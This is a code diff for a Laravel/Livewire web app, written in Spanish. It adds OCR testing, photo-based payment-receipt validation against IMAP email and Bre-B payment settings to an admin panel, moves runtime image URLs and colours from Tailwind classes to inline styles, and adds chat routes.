</label>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<button wire:click="probarOcr"
|
||||||
|
class="flex items-center gap-2 px-4 py-2 bg-purple-600 hover:bg-purple-700 text-white text-sm font-semibold rounded-lg transition">
|
||||||
|
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M16.023 9.348h4.992v-.001M2.985 19.644v-4.992m0 0h4.992m-4.993 0 3.181 3.183a8.25 8.25 0 0 0 13.803-3.7M4.031 9.865a8.25 8.25 0 0 1 13.803-3.7l3.181 3.182m0-4.991v4.99" />
|
||||||
|
</svg>
|
||||||
|
<span wire:loading.remove wire:target="probarOcr">Probar conexión OCR</span>
|
||||||
|
<span wire:loading wire:target="probarOcr">Probando...</span>
|
||||||
|
</button>
|
||||||
|
@if($ocrResult)
|
||||||
|
<p class="mt-2 text-sm {{ str_contains($ocrResult, '✅') ? 'text-emerald-600' : (str_contains($ocrResult, '⚠️') ? 'text-amber-600' : 'text-red-600') }}">
|
||||||
|
{{ $ocrResult }}
|
||||||
|
</p>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<hr class="border-gray-100">
|
||||||
|
|
||||||
|
{{-- Validacion de pagos --}}
|
||||||
|
<div>
|
||||||
|
<h3 class="text-sm font-bold text-gray-700 mb-1">Validacion de pagos por foto + correo IMAP</h3>
|
||||||
|
<p class="text-xs text-gray-400 mb-4">La IA lee el comprobante y cruza los datos con los correos del IMAP configurado en la seccion WhatsApp.</p>
|
||||||
|
<div class="space-y-4">
|
||||||
|
<div class="flex items-center gap-3">
|
||||||
|
<input wire:model.defer="validacion_foto_habilitada" type="checkbox" value="1"
|
||||||
|
id="val_foto" class="w-4 h-4 accent-emerald-600">
|
||||||
|
<label for="val_foto" class="text-sm text-gray-700">Habilitar validacion de comprobante por foto</label>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Accion al confirmar pago</label>
|
||||||
|
<select wire:model.defer="validacion_accion_auto"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
<option value="solo_notificar">Solo notificar al asesor (manual)</option>
|
||||||
|
<option value="recargar_saldo">Acreditar saldo automaticamente</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Tolerancia de monto ($)</label>
|
||||||
|
<input wire:model.defer="validacion_monto_tolerancia" type="number" min="0"
|
||||||
|
class="w-32 border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
<p class="text-xs text-gray-400 mt-1">Diferencia maxima permitida entre comprobante y correo. Recomendado: 0.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<hr class="border-gray-100">
|
||||||
|
|
||||||
|
{{-- Bre-B --}}
|
||||||
|
<div>
|
||||||
|
<h3 class="text-sm font-bold text-gray-700 mb-1">Pago por Bre-B</h3>
|
||||||
|
<p class="text-xs text-gray-400 mb-4">Datos que se muestran al cliente cuando elige pagar por Bre-B. Deja la llave vacía para deshabilitar esta opción.</p>
|
||||||
|
<div class="space-y-4">
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Banco / Billetera</label>
|
||||||
|
<input wire:model.defer="recarga_banco_nombre" type="text" placeholder="Ej: Bancolombia, Nequi, Daviplata"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
@error('recarga_banco_nombre') <span class="text-red-500 text-xs">{{ $message }}</span> @enderror
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Llave Bre-B</label>
|
||||||
|
<input wire:model.defer="recarga_banco_llave" type="text" placeholder="Ej: 3001234567"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none font-mono">
|
||||||
|
@error('recarga_banco_llave') <span class="text-red-500 text-xs">{{ $message }}</span> @enderror
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Titular de la cuenta</label>
|
||||||
|
<input wire:model.defer="recarga_banco_titular" type="text" placeholder="Nombre del titular"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
@error('recarga_banco_titular') <span class="text-red-500 text-xs">{{ $message }}</span> @enderror
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
{{-- Guardar --}}
|
{{-- Guardar --}}
|
||||||
<div class="flex justify-end pt-2">
|
<div class="flex justify-end pt-2">
|
||||||
<button wire:click="guardar"
|
<button wire:click="guardar"
|
||||||
@@ -64,7 +254,7 @@
|
|||||||
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
|
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" d="M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z" />
|
<path stroke-linecap="round" stroke-linejoin="round" d="M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z" />
|
||||||
</svg>
|
</svg>
|
||||||
<span wire:loading.remove wire:target="guardar">Guardar configuración</span>
|
<span wire:loading.remove wire:target="guardar">Guardar configuracion</span>
|
||||||
<span wire:loading wire:target="guardar">Guardando...</span>
|
<span wire:loading wire:target="guardar">Guardando...</span>
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -71,7 +71,9 @@
|
|||||||
<div class="grid h-full place-items-center">
|
<div class="grid h-full place-items-center">
|
||||||
<div class="bg-white rounded-lg shadow-md sm:1/2 md:1/3 lg:1/3 xl:w-1/4">
|
<div class="bg-white rounded-lg shadow-md sm:1/2 md:1/3 lg:1/3 xl:w-1/4">
|
||||||
{{-- PHOTO --}}
|
{{-- PHOTO --}}
|
||||||
<div class="w-full text-left text-white px-4 bg-cover py-2 rounded-lg h-64 bg-[url({{asset($this->imagen)}})]">
|
{{-- URL de runtime: no puede ser clase arbitraria de Tailwind --}}
|
||||||
|
<div class="w-full bg-cover bg-center rounded-t-lg h-[16.8rem]"
|
||||||
|
style="background-image: url('{{ asset($this->imagen) }}');">
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="text-left">
|
<div class="text-left">
|
||||||
|
|||||||
@@ -106,7 +106,7 @@
|
|||||||
|
|
||||||
<div wire:click="verPromocion({{ $promocion->id }})" class="">
|
<div wire:click="verPromocion({{ $promocion->id }})" class="">
|
||||||
<img src="{{ asset($promocion->img_publicidad) }}" alt=""
|
<img src="{{ asset($promocion->img_publicidad) }}" alt=""
|
||||||
class="w-full m-auto rounded-lg object-cover h-24 sm:h-36 object-center shadow">
|
class="w-full m-auto rounded-lg object-cover object-center h-[6.3rem] sm:h-[9.45rem] shadow">
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -145,7 +145,7 @@
|
|||||||
|
|
||||||
<div wire:click="verPromocion({{ $promocion->id }})" class="">
|
<div wire:click="verPromocion({{ $promocion->id }})" class="">
|
||||||
<img src="{{ asset($promocion->img_publicidad) }}" alt=""
|
<img src="{{ asset($promocion->img_publicidad) }}" alt=""
|
||||||
class="w-full m-auto rounded-lg object-cover h-24 sm:h-44 object-center shadow">
|
class="w-full m-auto rounded-lg object-cover object-center h-[6.3rem] sm:h-[11.55rem] shadow">
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -197,13 +197,13 @@
|
|||||||
<div>
|
<div>
|
||||||
@if ($photo)
|
@if ($photo)
|
||||||
<img src="{{ $photo->temporaryUrl() }}" alt=""
|
<img src="{{ $photo->temporaryUrl() }}" alt=""
|
||||||
class="object-cover rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
class="object-contain bg-white rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
||||||
@error('photo')
|
@error('photo')
|
||||||
<span class="text-red-400 text-sm">Obligatorio*</span>
|
<span class="text-red-400 text-sm">Obligatorio*</span>
|
||||||
@enderror
|
@enderror
|
||||||
@else
|
@else
|
||||||
<img src="" alt=""
|
<img src="" alt=""
|
||||||
class="rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
class="object-contain bg-white rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
||||||
@error('photo')
|
@error('photo')
|
||||||
<span class="text-red-400 text-sm">Obligatorio*</span>
|
<span class="text-red-400 text-sm">Obligatorio*</span>
|
||||||
@enderror
|
@enderror
|
||||||
@@ -417,7 +417,7 @@
|
|||||||
<div>
|
<div>
|
||||||
|
|
||||||
@if ($categoria_photo)
|
@if ($categoria_photo)
|
||||||
<img src="{{$categoria_photo->temporaryUrl()}}" alt="" class="rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
<img src="{{$categoria_photo->temporaryUrl()}}" alt="" class="object-contain bg-white rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
||||||
@endif
|
@endif
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
@@ -461,8 +461,11 @@
|
|||||||
<div class="grid h-full place-items-center">
|
<div class="grid h-full place-items-center">
|
||||||
<div class="bg-white rounded-lg shadow-md sm:1/2 md:1/3 lg:1/3 xl:w-1/4">
|
<div class="bg-white rounded-lg shadow-md sm:1/2 md:1/3 lg:1/3 xl:w-1/4">
|
||||||
{{-- PHOTO --}}
|
{{-- PHOTO --}}
|
||||||
<div
|
{{-- La URL sale en runtime, así que no puede ir como clase
|
||||||
class="w-full text-left text-white px-4 bg-cover py-2 rounded-lg h-64 bg-[url({{ asset($this->imagen) }})] ">
|
arbitraria de Tailwind: el build no la ve y no genera
|
||||||
|
nada. Va como estilo en línea. --}}
|
||||||
|
<div class="w-full bg-cover bg-center rounded-t-lg h-[16.8rem]"
|
||||||
|
style="background-image: url('{{ asset($this->imagen) }}');">
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -520,10 +523,10 @@
|
|||||||
<div>
|
<div>
|
||||||
@if ($photo)
|
@if ($photo)
|
||||||
<img src="{{ $photo->temporaryUrl() }}" alt=""
|
<img src="{{ $photo->temporaryUrl() }}" alt=""
|
||||||
class="object-cover rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
class="object-contain bg-white rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
||||||
@else
|
@else
|
||||||
<img src="{{ asset($img_ver) }}" alt=""
|
<img src="{{ asset($img_ver) }}" alt=""
|
||||||
class="rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
class="object-contain bg-white rounded-xl border-2 border-neutral-200 shadow-md w-28 h-20">
|
||||||
@endif
|
@endif
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -1118,11 +1121,14 @@
|
|||||||
|
|
||||||
|
|
||||||
@foreach ($categorias as $categoria1)
|
@foreach ($categorias as $categoria1)
|
||||||
<div class="cursor-pointer transition hover:scale-[1.05] w-[250px] h-[250px] sm:w-[350px] sm:h-[350px] mx-4 my-2 mx-auto"
|
{{-- Iba con mx-4 y mx-auto a la vez: cuál ganaba dependía
|
||||||
|
del orden de las reglas, que cambió al pasar del CDN
|
||||||
|
al build. Se deja solo mx-auto, que es el que centra. --}}
|
||||||
|
<div class="cursor-pointer transition hover:scale-[1.05] w-[262px] h-[262px] sm:w-[368px] sm:h-[368px] my-2 mx-auto"
|
||||||
x-on:click="categorian='{{ $categoria1->nombre }}',verPro=false">
|
x-on:click="categorian='{{ $categoria1->nombre }}',verPro=false">
|
||||||
<a href="#promo">
|
<a href="#promo">
|
||||||
<img src="{{ asset($categoria1->imagen) }}"
|
<img src="{{ asset($categoria1->imagen) }}"
|
||||||
class="w-full m-auto rounded-lg object-cover h-full object-center shadow"
|
class="w-full m-auto rounded-lg object-cover object-center h-full shadow"
|
||||||
alt="">
|
alt="">
|
||||||
</a>
|
</a>
|
||||||
|
|
||||||
|
|||||||
@@ -106,8 +106,8 @@
|
|||||||
@if ($con = $tarifa['usuario_tarifas'])
|
@if ($con = $tarifa['usuario_tarifas'])
|
||||||
@if ($con[0]['visible'] == 'true')
|
@if ($con[0]['visible'] == 'true')
|
||||||
<button wire:click="cargartarjetaPlan({{ $tarifa['id'] }})"
|
<button wire:click="cargartarjetaPlan({{ $tarifa['id'] }})"
|
||||||
class="shadow-lg text-white py-4 px-3 rounded-lg bg-gradient-to-br from-black
|
class="shadow-lg text-white py-4 px-3 rounded-lg"
|
||||||
(via-[{{ $servicio['color_fondo'] }}],90%) to-[{{ $servicio['color_fondo'] }}]">
|
style="background: linear-gradient(to bottom right, #000, {{ $servicio['color_fondo'] }})">
|
||||||
|
|
||||||
<p class="font-bold mb-2">
|
<p class="font-bold mb-2">
|
||||||
@if ($servicio['por_tiempo'] == 1)
|
@if ($servicio['por_tiempo'] == 1)
|
||||||
@@ -143,7 +143,8 @@
|
|||||||
@endif
|
@endif
|
||||||
@else
|
@else
|
||||||
<button wire:click="cargartarjetaPlan({{ $tarifa['id'] }})"
|
<button wire:click="cargartarjetaPlan({{ $tarifa['id'] }})"
|
||||||
class="shadow-lg text-white py-4 px-3 rounded-lg bg-gradient-to-br from-black (via-[{{ $servicio['color_fondo'] }}],90%) to-[{{ $servicio['color_fondo'] }}]">
|
class="shadow-lg text-white py-4 px-3 rounded-lg"
|
||||||
|
style="background: linear-gradient(to bottom right, #000, {{ $servicio['color_fondo'] }})">
|
||||||
|
|
||||||
<p class="font-bold mb-2">
|
<p class="font-bold mb-2">
|
||||||
@if ($servicio['por_tiempo'] == 1)
|
@if ($servicio['por_tiempo'] == 1)
|
||||||
|
|||||||
+2
-1
@@ -97,8 +97,9 @@ Route::middleware(["auth", "solo_usuario_administrador"])->group(function () {
|
|||||||
// Módulo Chat (web + Telegram)
|
// Módulo Chat (web + Telegram)
|
||||||
Route::prefix('chat')->name('chat.')->group(function () {
|
Route::prefix('chat')->name('chat.')->group(function () {
|
||||||
Route::get('/conversaciones', [ChatController::class, 'conversaciones'])->name('conversaciones');
|
Route::get('/conversaciones', [ChatController::class, 'conversaciones'])->name('conversaciones');
|
||||||
Route::get('/menus', [ChatController::class, 'menus'])->name('menus');
|
Route::get('/comprobantes', [ChatController::class, 'comprobantes'])->name('comprobantes');
|
||||||
Route::get('/configuracion', [ChatController::class, 'configuracion'])->name('configuracion');
|
Route::get('/configuracion', [ChatController::class, 'configuracion'])->name('configuracion');
|
||||||
|
Route::get('/ia-logs', [ChatController::class, 'iaLogs'])->name('ia-logs');
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
+1
-4
@@ -16,8 +16,5 @@ module.exports = {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
|
||||||
plugins: [require('@tailwindcss/forms'),
|
plugins: [require('@tailwindcss/forms')],
|
||||||
require('tailwindcss-plugins/pagination')({
|
|
||||||
color: colors['teal-dark'],
|
|
||||||
}),],
|
|
||||||
};
|
};
|
||||||
|
|||||||
Reference in New Issue
Block a user